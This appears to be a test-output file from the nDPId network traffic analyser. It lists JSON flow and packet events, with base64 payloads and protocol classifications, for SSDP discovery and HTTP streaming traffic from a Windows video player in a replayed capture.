+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1041,"source":"pps.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1467353152692,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"239.255.255.250","src_port":59648,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1041,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353152,"pkt_ts_usec":692906,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChLGwAAAER1wTAqAU57\/\/\/+ukAB2wAjbKhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1041,"source":"pps.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1467353152692,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"239.255.255.250","src_port":59648,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +02115{"flow_id":54,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353152,"pkt_ts_usec":945958,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUNKlAADYGYUBN6ihgwKhzCABQxTaRunoZprO+h1AQAAIjzAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjUyIEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiAyMjM2DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCn1Umady4sbDsD9tRTNsP1C6FsAokaxgc7SL6ZLrE25BG0+yUZu+PVy1H\/J9K0cErRrc\/\/HdTmUobC22C7Oh+QeUvPOvQiF1QcpqN16lRlvZBKeo06G9VcHf\/MYvbG5tm2JC\/BBCnwkxZOS97njKz7SSmXsma6Np2UXwnpag8\/cGFMPG2xUoyylb5zLKzCgM95pdkLxNu3Eza4JI0\/iOlM7QWm2jyDPNTbT+AtqtaAC7x9aTRsJFkI8XzVZ48AAWSSq5PkpdPVuk1zPMre486j3fGY9CEQrCxhx81SYOzbcDyS\/9taiHjo91MJ6DtpdB+UnIbdqCNeZqBzW6lYYMCR+oh0E4YMUVOFwPfPYsxc2\/B1gjZhqXvFChTfPDp5E0TUrSJhE2iZBhLzB+dPVy3wsNmHBJbYFOCi854HfIrwqdA72jFLWqL409Dd6IlQPW1Q6Y1DAu4IqLY+s4xJliR40kKWjT+0tqGst\/jlLcTlzjUyb5J+NKxC6obBSnhlOM\/42sXpKeHbYz0hAbKfbQLQFjmwxZhDH4pfE4Yheb5aenMWBwaKgUCM8qjcuT4PrptsrAS51bDcqL15z6cLvameyyAXNDgyNerGgUYm85RIWH+33r0MZz7e6TsphluEAOWd8aWowma36kji+H\/hBxhJM9HoDQoFyFsnHTmIZSRSRxs+jQDFr2HP5PgdclHMJ6eLziIX+epCYbtCLmzuRV3gKYH8L\/mTiU8PETTw\/FJiRdvPkiQL8MFvRgMX\/7TkbwaJyeCSkxW0KaPnoJsAEMNIoVLr0V5s6rcYmnCq829uBurSKPLf3FguVhOD+EyR33hkzz4bDPLkgXy\/tPmB2eN8c8dfjy899+pJtcXrdDKM9QPjHrTysJtNb4j6Ta9YgMq4CtAv68bEKd6dd7r9hTSvgI2qRzjVlcXNOmCIgA6k9GqX3xt5KRuvjig93RXHPWa1RWw\/zwDrpmyUkeURzbiDH2oMYiqbBG9sMwVZ+rjWqzTxruDObPkAoRj0\/oDIbVBGVx6i\/bi6niM04OMCf0lXlHj3Onf6hj\/gISSBYpdf4StInu4UysKccQRD8a6oJBKrSZgvjO3B3tmyroq8F45N49mzLGxHSQRB8k43UW8EyjNVk4+IPCMFf8v2Ex9hjb7bT7bH0VlW+1ZkBybIbFVKJMdQnJo6lYC3aezxeGWAj1gKdTmx2VQHk\/41yY+DNGjoWg+LTVpFacjONdIG+TJJlh3hSc3DKPhrPmBpDHXELHVxo\/1o5hqaCDoiCGXIAa6smDdVp9XNkBN2PIHSHmY0IHDtpb+kBBoiNgbKBPuiZBjaUpybC8PUMOQtyTQtyhKHowD43Hcd1DIyb7ro9BHT+sUHUP5W0L7Vs0tGhCxRyNb4FPVYMR2LCi5vu2+TI9qaHVXXgc0nOU9AC\/TWupzVoY4Hhc2XEtUKgXEPagTLJJAPFDDHIOKbmZ"} +01959{"flow_id":54,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353152,"pkt_ts_usec":945959,"pkt_caplen":1193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1193,"pkt_l4_len":1159,"pkt":"ABxCjnAxTF4M6gNlCABFAASbNKpAADYGYbhN6ihgwKhzCABQxTaRun8FprO+h1AYAALnBwAAhp2txKODSqNuJpfNrXNGgSfm2FpD\/QzazKmVzcysULIgXZtkkpABG6IcK8UWfZCW+RDieCCGsC0xab65Bzr\/J4HEhK5Vrrp8Bk03\/biW3ST+KQZRiVaRBsErmXJGHHOQlRVHQFq2HyISjfgt1YbIUfJafNu8MkADv0aibs\/ZbAusCz7LqetEQKNepwr\/d1+RtrShPTNRh1QvNzQoJqkB0mf9rmvbXT+kFbINpo19RvBm1cWefA1Cu325pXyFCLHEIkuLHT7YIqsL37ae1fKSNiSZvO\/3CdXu9UjZj8WRX71\/ctpEhkvS2o3pG4fZVXuPodYz9px7iVdPGjwWgvluadyiN5IXH4tm2iJJDdt32CXKYNGduX4Wcy9C04bAJ1jswV+QUn0CcDkotc2fhVGLLbvyg\/jT0cNa0KPSAFQeWztVQRZfz6tB5ilJIGVf2ywO9MaR2zHvYU7Q8+fMns+GO9FdZPcAttmvYYG6Brf4AS\/AWcqQuSC98SArYGS83MD0WLNiw05gzcmKBMWIIHWU9rqhdPhCPg1gfvaok7HaHQryUA\/vzlGdpxScGAOk4aP003omXyMnQcLOLE1afcBgKFPMO035Zd8jfzJ\/hqVVmdaJtPDw0bOeUKYd3u\/Rx\/DunqdVpPCZSZitybo4CTnWPKMGr0mA+WWOfGTjhrxC5E478knyE7019EGLdGxRG4xRKepPnYgXZbzJdJzUF4Lga5bGoiz\/zxotL10X4IkRoUxKP2n+sq5H8O2ZzJVozYxS4kKORbgYJcbL2bmZdiZmpAbJpT2eQyMR77nbAgm2fR\/6BnuPE6ehwLfrLLlvFQNLzbbXlhPHgDpA42kZBoTXKMSGdjKxwXwh02hw7LYi918QVyymXacr4eqrRgrJC3EsWt7nQdycZBUKvxF6hIS4fdprfFVjr6YCQ0X1GgkwHq8zhlELD2uPjwf2WOrhfY6IiRa9te9cXSvbggQ71l4JMERcoE6+8+cwtCMIXQE8I53+Z\/47VQQMTqEgIzRbrC9X7PLzbVb8BfC08inAupGlegbauLxrxwOCeztyHOjXathrMDylK5xxetZFwQ66yooo3\/MUxCVcXzoIj0YZvhP6m+Cx3zJvAajEW4v\/mnoEKhbVaveSkyfp6OTdzLyB0AlXKlZXkqgU7Gpz9ArcYjAUoTpLjfEdg\/3xNwH1igONzHPxX94zEpg3OLH\/KasJRQmp9tykoJmhBhtmkcOIjP1eIPQbta9I5GhOIGBi+iIHm6KOtFBSVVL2kgZgU5ipzGefjTQpb2di46wIuYMV\/Jbi0id37i+JQAHPUuzPqELHAont1WaA\/\/Zto+GFnCXIqQpGpV9u19koxBgSy4tgktmKuAYpOqujaxzE+qEATpNuDPB7zsHLdYxTlp1wfn\/MhK2ECfx6wt\/uowpmk2Fvf1FHTdHaExsyfuKSaG\/Fo3xi2Uh6Xv4yX+2nD1vI1xIBVykRyWAZmPNEMY7RwsqGbX5S2hgBZMpsLqkDI+uzb2I7f9RzLdo="} +00578{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1044,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353155,"pkt_ts_usec":693528,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChLG0AAAER1wPAqAU57\/\/\/+ukAB2wAjbKhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1045,"source":"pps.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1467353155790,"flow_last_seen":0,"flow_tot_l4_data_len":649,"flow_min_l4_data_len":649,"flow_max_l4_data_len":649,"flow_avg_l4_data_len":649,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50487,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01249{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1045,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353155,"pkt_ts_usec":790340,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"TF4M6gNlABxCjnAxCABFAAKdDjtAAIAG3SfAqHMIymwO28U3AFCNS81scTxdzlAYAQSLywAAR0VUIC9jb3JlP3Q9MiZjaGlwaWQ9SW50ZWwlMjhSJTI5JTIwQ29yZSUyOFRNJTI5JTIwaTUlMkQyNTU3TSUyMENQVSUyMCU0MCUyMDElMkU3MEdIeiZ0bT0xNSZyYT0xJmlzaGNkbj0yJnBmPTIwMSZwPTExJnAxPTExNCZwMj0zMDAwJnNka3RwPTEmYzE9NiZyPTUwMDQ5NDYwMCZhaWQ9NTAyOTU5OTAwJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9Jm9zPXdpbmRvd3Mmdj01JTJFMiUyRTE1JTJFMjI0MCZrcnY9MiUyRTAlMkUxMDImZHQ9Jmh1PS0xJnJuPTE0NjczNTMxNTUmaXNsb2NhbD0wJmFzPWQxOWY2NDA0N2I2NDFjZDZmZjA5NmIwNGZiMmEzMGI1JnZlPTNjYzBjOGZhMzcyNjI1ZTY0MTQzMTQ0ODE2ZjNlOTY4JnBlPWM5NWQ5OTJlMjk4NTZkYzg0ZjJlOTkwN2EyZTRiMjgyJnZmcm09JmNobD0maGNkbnY9MTAuMC4wLjI5MyZ0cGNkPTAmaXNkcm09MSZodD0wIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBtc2cuNzEuYW0NCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOl8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +01075{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1045,"source":"pps.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1467353155790,"flow_last_seen":0,"flow_tot_l4_data_len":649,"flow_min_l4_data_len":649,"flow_max_l4_data_len":649,"flow_avg_l4_data_len":649,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50487,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=2&chipid=Intel%28R%29%20Core%28TM%29%20i5%2D2557M%20CPU%20%40%201%2E70GHz&tm=15&ra=1&ishcdn=2&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=6&r=500494600&aid=502959900&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=windows&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353155&islocal=0&as=d19f64047b641cd6ff096b04fb2a30b5&ve=3cc0c8fa372625e64143144816f3e968&pe=c95d992e29856dc84f2e9907a2e4b282&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1046,"source":"pps.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1467353156641,"flow_last_seen":0,"flow_tot_l4_data_len":277,"flow_min_l4_data_len":277,"flow_max_l4_data_len":277,"flow_avg_l4_data_len":277,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50488,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00753{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1046,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353156,"pkt_ts_usec":641491,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"TF4M6gNlABxCjnAxCABFAAEpDsFAAIAGbi7AqHMI3xpqFMU4AFDYI3WbArNbVVAYAQSIDAAAR0VUIC8yMDE2MDYyNS9hNS9iZi80MTNmOTFhZDEwMWU3ODBhNmI2M2Y4MjZlMjhiOTkyMC54bWwgSFRUUC8xLjENClVzZXItQWdlbnQ6IFFZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1ldGEudmlkZW8ucWl5aS5jb20NCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOjUwMDQ5NDYwMF8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +00706{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1046,"source":"pps.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1467353156641,"flow_last_seen":0,"flow_tot_l4_data_len":277,"flow_min_l4_data_len":277,"flow_max_l4_data_len":277,"flow_avg_l4_data_len":277,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50488,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"meta.video.qiyi.com","url":"meta.video.qiyi.com\/20160625\/a5\/bf\/413f91ad101e780a6b63f826e28b9920.xml","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +02113{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1047,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353156,"pkt_ts_usec":699175,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUU\/f1AADgGwwbfGmoUwKhzCABQxTgCs1tV2CN2nFAQAB+1jgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFFXUw0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNTo1NiBHTVQNCkNvbnRlbnQtVHlwZTogdGV4dC94bWwNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpMYXN0LU1vZGlmaWVkOiBTYXQsIDI1IEp1biAyMDE2IDA2OjA4OjM2IEdNVA0KRXhwaXJlczogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjo1MCBHTVQNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9MzAwDQpYLUNhY2hlOiBmcm9tIDEwLjEyMS4zNC4xNDANCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANClgtQ2FjaGU6IEhJVCBmcm9tIDEwLjEyMS4zMy45OA0KWC1DYWNoZTogRVhQSVJFRCBmcm9tIDIyMy4yNi4xMDYuMjANCg0KNWZlDQofiwgAAAAAAAADhZnrbhs5DIX\/9ykCP8BEFC+SAHf6KIuxM26NzaWtnezl6fewDtIUXdIpUNvjY4n6SJHizPbT3w\/3Ny\/r99Px6fHjhqayufk0f9gejvfraT3PH262h\/uXm8flYf24KTtalr7wbmfrfuyoDO1dZLfXhdbdbj9BusFPbrZf1uPnL+eZrWxvX9\/75b+Od+cvswmuXt76xfPxYT2dl4ev+6fH8\/Hx+en5NNP29v8uu\/yHZcd\/17kXbaXK9vbtin999\/x9OWMtM2mf2Nr29u2Kf\/1yvFuf\/jgvn+cyCv64+v8\/\/6i9vSfYWehwOKyE1ztrl8\/LXq1KWUo9HIYZXv1fv\/yMS7m8oyGt76nv1QfBl2p97WM51P1FWfhue\/vTGrdteb47vtp2GeSHha9yvCwHDMUDQ626qFw0uE5g8PO3PtKf6z+H73DZaf32vD7u15M75d3lHx9fyV\/eg8xy\/7zeHO\/g5s1cJowL+\/za7wK6JqibmaZR4xF4M3MqkM2sqUA3c0sFtpnHBEbhKhqMpAmeCxUdCk4VAwpNFQSa1HIJeNLIJSBac2MJTGtuLYFqvWIuuFabWuI7AtnacwnYcsklgMs1l4AuSyqpoMu5uRV0OTe3gq7k5lbQldzcCroikyUBVUFXLJeAriCyPXMG26+CroxJEx9V0NUyWRL+FXS1pqMw6KrkEtBVyyWgi1ycmcugayWXgK5RuiIGXeOpeHkJ0DHomkxI+rEEdM1yCehazyWga2OSxBYB3Ua5BHRbTeNFQLdJumgB3aaTJiEloNtaLvGMi6jLRgHdTrkEdDvnEtDtV8wF3Q5zkx2goNvhgGQ3KugOOCCTgO7gXAK6Q3MJ6I6WS0B3XDEXdKlcsRd4qdSpZ2sCXyoy4egTbgIFYCqWhpWBMJWea4CYCKeJZB8YGBPVXAPIRHmYGygTXbEZmImu2Oyc6xWbnXO9YrNzrldsds6otxmf5pxRcFONc0bFTTXOGSU31Thn1NxU45xRdFONc0bVzU6RzTnzSFN6c84ozek5zjmjNqca54zinGm6c0Z1bkmG685ZcJrINM4ZxTfVOGeldJ9256yca5yzaq5xztp+07y2WK+9gDdRX59OR++dLu2Cd0vve4JaK7qpoLCCS2Wy8Htn0uHJGipAhNHRUTwH"} +01311{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1048,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353156,"pkt_ts_usec":700500,"pkt_caplen":721,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":721,"pkt_l4_len":687,"pkt":"ABxCjnAxTF4M6gNlCABFAALD\/f5AADgGxVbfGmoUwKhzCABQxTgCs2BB2CN2nFAYAB9NTQAAeAj6KkVzGFgBGjLKoHgWsNDOg9EyBWMg4qw3sngWxFvTJslqEW1dOtsIZ\/G2YAiauUTisVZE0efGwzjXWg05LdZ4rAky0eBYc4m1ISOZy2PN0IHWZC6PtYYzQuJG8j0ND\/TECQTGtXRrmc2gXLGqInHIeH+AZh3hH4eENwhVsfKSjAPO1cTSYzk4VwRGT0LHe4TarWqyLm8S6mgVURj6q4IzFzPKNODMJE042ZbgzNQZongucObqtx3iTeOdAgtOFElsMDiz4j7IiGOewZkNmDWZyzNFp1ZHvEUZnLk3hGq8dm8XeCg2YczZ+wUeo3ON9wWDs+AA03qiAWdBguyZBpyFEaoU8\/GeQWCxJqlYwFm0ElwW+tS7BtGB8In5eNsgxoYYisfxnNwQiUliF8\/KHRWxxZwFnLGTCyWxIc55GI5LybrAWQsivsW+EHBWpMMucU7w7kGRWyyJeW8flHELMtOAswKQchyrCs6qvbWEs4Kz2mjW4n2q4IzsMyyJDQVn3LPtqKOhTxWcdXQc7RMNOFtBRUl84T0EvFVRbcO5vIcwFIPOsU8NnJExccMztsd7CARqqdlc4IxwNkRibA84m1Rl7rEGnA1No1kcPwbOptwRi\/E44GyK5JL0auaczVRLvE\/NOTdmsdhm7yG8mHJSC5pz7grS8T5tznl40Y3X3pwzVoX9E669gXMrSszJXODcCF1fS8YBZ9yrRE6I97v3EKimuN8fx2ED54ZUh6iPbQbnJlpQLEON9xDNzxJJTvAeopn2mnDu4Nya74w45js4t45NmNQ47yFa70xJ7u3OefiZN1kXOHesvIxf4\/Dy8OXXvmF7+\/b4wXuLdx\/fPY3AD+9f8Jzp8vDGHzT9Byu2GoeKGgAADQowDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1049,"source":"pps.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1467353156959,"flow_last_seen":0,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":219,"flow_max_l4_data_len":219,"flow_avg_l4_data_len":219,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"119.188.13.188","src_port":50489,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00677{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1049,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353156,"pkt_ts_usec":959663,"pkt_caplen":253,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":253,"pkt_l4_len":219,"pkt":"TF4M6gNlABxCjnAxCABFAADvDvNAAIAGMe3AqHMId7wNvMU5AFAa+1ILYx41VVAYAQTDtAAAR0VUIC9rIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBwZGF0YS52aWRlby5xaXlpLmNvbQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KcXlpZDphYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6XzIwMTINCnF5cGxhdGZvcm06MC0yDQoNCg=="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1049,"source":"pps.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1467353156959,"flow_last_seen":0,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":219,"flow_max_l4_data_len":219,"flow_avg_l4_data_len":219,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"119.188.13.188","src_port":50489,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"pdata.video.qiyi.com","url":"pdata.video.qiyi.com\/k","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00913{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1050,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353156,"pkt_ts_usec":998876,"pkt_caplen":430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":430,"pkt_l4_len":396,"pkt":"ABxCjnAxTF4M6gNlCABFAAGgqmFAADQG4c13vA28wKhzCABQxTljHjVVGvtS0lAYAB+FPAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOS40DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjU2IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtTGVuZ3RoOiAyMDQNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCnsidCI6IjE0NjczNTMxNTYiLCJtIjoiZWMyZmQ2Njc4YTM1N2MyMDhkNTE4NmIzYzM0MjI0NmJlZTQ0YzUwY2U3MDgzOTNlIiwidSI6ImVjMmZkNjY3OGEzNTdjMjBmNTVhODJlZDYwZjYzZjk2Y2QyMDlhMWQ4OGI3ODQyNSIsImkiOiIyMjAuMTgxLjEwOS4zMyIsImsiOiJlYzJmZDY2NzhhMzU3YzIwNjI1MTY2M2U4NGQ3MDFkOTlkYjQyZTUxY2I5MWM1MzkifQ=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1051,"source":"pps.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1467353157063,"flow_last_seen":0,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":323,"flow_max_l4_data_len":323,"flow_avg_l4_data_len":323,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"119.188.13.188","src_port":50490,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00812{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1051,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":63732,"pkt_caplen":357,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":357,"pkt_l4_len":323,"pkt":"TF4M6gNlABxCjnAxCABFAAFXDwhAAIAGMXDAqHMId7wNvMU6AFAWZyP1RIzmWFAYAQR4owAAR0VUIC8yZWZjOGNkNWZiZTBmNGVlNDk4ZmIxYzJmYzFkZThiNi92aWRlb3MvdjAvMjAxNjA2MjUvYTUvYmYvOGRlOWJiOTQ2OTcyYTg4NTg5ZDE2Njc4NjIyOTIxMzAuZjR2PyZ0bj0xMzc3MTkgSFRUUC8xLjENClVzZXItQWdlbnQ6IFFZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IHBkYXRhLnZpZGVvLnFpeWkuY29tDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpxeWlkOmFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDpfMjAxMg0KcXlwbGF0Zm9ybTowLTINCg0K"} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1051,"source":"pps.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1467353157063,"flow_last_seen":0,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":323,"flow_max_l4_data_len":323,"flow_avg_l4_data_len":323,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"119.188.13.188","src_port":50490,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"pdata.video.qiyi.com","url":"pdata.video.qiyi.com\/2efc8cd5fbe0f4ee498fb1c2fc1de8b6\/videos\/v0\/20160625\/a5\/bf\/8de9bb946972a88589d1667862292130.f4v?&tn=137719","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} 